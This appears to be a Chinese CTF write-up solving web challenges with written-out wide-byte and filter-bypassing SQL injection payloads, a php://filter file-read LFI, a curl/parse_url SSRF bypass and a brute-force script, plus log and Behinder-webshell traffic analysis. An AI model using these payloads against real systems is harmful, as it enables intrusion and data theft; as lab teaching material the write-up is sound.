本次比赛题目总体较简单,都是较基础的常见考点,很多题目名称基本上直接都告诉考点了。但是时间不太够,CTF部分差一道题AK了,然后赛后看了一下那道题也不难,甚至还没我做出的其他题难。。。
Web
字节的秘密
题目告诉了参数为 id,尝试传入 1
。
经过测试,此处存在宽字节注入。成功查询当前数据库名:
?id=0%bf' union select 1,database()--+
经过测试,直接查询 flag 的话会报错:
Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (latin1_swedish_ci,IMPLICIT) for operation 'UNION'
这是因为 Mysql 的编码不一致问题导致的,使用CONVERT()
函数转换即可:
?id=0%bf' union select 1,convert(thisisflag,char) from pwnhubsql1.flag--+
LFI
根据题目猜测为文件包含漏洞,找到某页面传入了 path 参数。
我使用php://input
来执行命令没有成功,所以使用 php 伪协议读取 flag 文件。
/index.php?path=php://filter/read=convert.base64-encode/resource=flag.php
解码 base64 即可。
PD9waHAgJGZsYWc9ImZsYWd7bGZpczBlYXN5fSI7Pz4K
flag{lfis0easy}
Shiro
当时看到题目名称就猜到了是 Shiro 550 反序列化,我甚至都没打开页面,直接一把梭。
Githack!
看到题目已经提示了,直接Git泄露一把梭。
千山万水
给了一个php页面,fuzz一下发现参数名是id,尝试一下输入1
能够正常显示,输入2
返回空白。
经过测试,该页面存在 SQL 注入漏洞,联合注入即可,题目过滤了空格,使用注释符/**/
绕过。
sql4.php?id=2'/**/union/**/select/**/1,database()%27
读取flag,括号或注释符绕过均可
sql4.php?id=2'/**/union/**/select/**/1,(select(thisisflag)from(flaghahaha))%23
urlssrf
先看源码:
<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
dir('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
//var_dump($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_POST['url'];
if(!empty($url)){
safe_request_url($url);
}
else{
highlight_file(__file__);
}
//flag in flag.php
?>
可以看到 check_inner_ip 函数通过 url_parse 检测用户上送的 url 是否为内网ip。如果不是内网 ip,则再通过 curl 请求 url。
这道题的考点是PHP函数对于URL的解析问题,具体是 curl
和 parse_url
的解析差异:
curl
解析的是第一个@
后面的网址parse_url
解析的是第二个@
后面的网址
借用一张图来看下:
因此可以利用 curl
和 parse_url
解析的差异不同来绕过,让 parse_url
解析互联网ip,最后 curl
请求本地ip,利用ssrf读取文件。
Payload:
url=http://@127.0.0.1:80@baidu.com/flag.php
注意一定要加端口号,否则解析不成功:
写个脚本吧
这是一道PHP代码审计题,主要考察了脚本编写能力,先看代码:
<?php
error_reporting(0);
session_start();
require ('./flag.php');
if (!isset($_SESSION['nums'])) {
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if ($_SESSION['time'] + 120 < time()) {
session_destroy();
}
$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0, 25) ] . $str_rand[mt_rand(0, 25) ];
if ($_SESSION['whoami'] == ($value[0] . $value[1]) && substr(md5($value) , 5, 4) == 0) {
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if ($_SESSION['nums'] >= 10) {
echo $flag;
}
show_source(__FILE__);
?>
进行代码审计,定位关键代码,可以得知以下信息:
- whoami参数的初始值为
ea
,用户可以使用value参数传入数据。 - 定位到第三个if条件分支语句。对用户传入的value字符串求MD5值,如果这个MD5值的第5-8位都为0,且value的前两位和whoami参数的值相等,则进入分支。
- 分支逻辑位随机从
a-z
中取两个字母组成字符串,并将该字符串的值赋给whoami参数,并回显。nums参数自增。 - 当nums参数大于10时,显示flag。
因此我们需要通过暴力求解出符合条件的字符串,即前两位为whoami参数值,并且整个字符串MD5值的第5-8位都为0,循环10次调用即可。
import requests
import string
import random
import hashlib
let = string.ascii_lowercase
def attack(payloads):
for a in range(100000000):
payload = payloads
for i in range(6):
payload += let[random.randint(0, 25)]
mdre = hashlib.md5(payload.encode('utf-8')).hexdigest()[5:9]
if mdre == '0000':
print(payload)
resp1 = session.get(burp0_url + payload)
value1 = resp1.content.decode()[:2]
print(value1)
print(resp1.content)
break
return value1
if __name__ == '__main__':
session = requests.session()
burp0_url = "http://xxxxx/?value="
payload = 'ea'
resp = session.get(burp0_url + payload)
if len(resp.content) > 5619:
value = resp.content.decode()[:2]
payload = value
for ii in range(10):
payload = attack(payload)
运行得到flag:
Misc
日志分析
一道简单的日志分析题,发现有一个参数在进行大量的 SQL 注入尝试,并且都返回 200 状态码。
因此存在漏洞的页面及参数为:
search.php?q=
提交即可获得flag
简单流量分析
这道题暂时不放了。
流量数据分析
签到水平,追踪TCP流即可。
异常流量分析
明显是冰蝎流量
冰蝎2一般会有一个动态密钥协商的过程,找了一会没有发现密钥信息,直接默认密钥e45e329feb5d925b
解AES即可:
得到报文内容:
{"status":"c3VjY2Vzcw==","msg":"ZmxhZ3thMzAyOTE5YTcwMGQ0ZDIyYmRlMmJmNWQyNDQ3OWE0NH0K"}
解Base64:
{"status":"success","msg":"flag{a302919a700d4d22bde2bf5d24479a44}"}
windows日志分析
windows日志审计,需要输入上一次RDP成功登陆的ip、date和user获得flag。
搜索事件ID为528
的登录成功日志,然后查找登录类型为10
的RDP登录日志。
flag如下: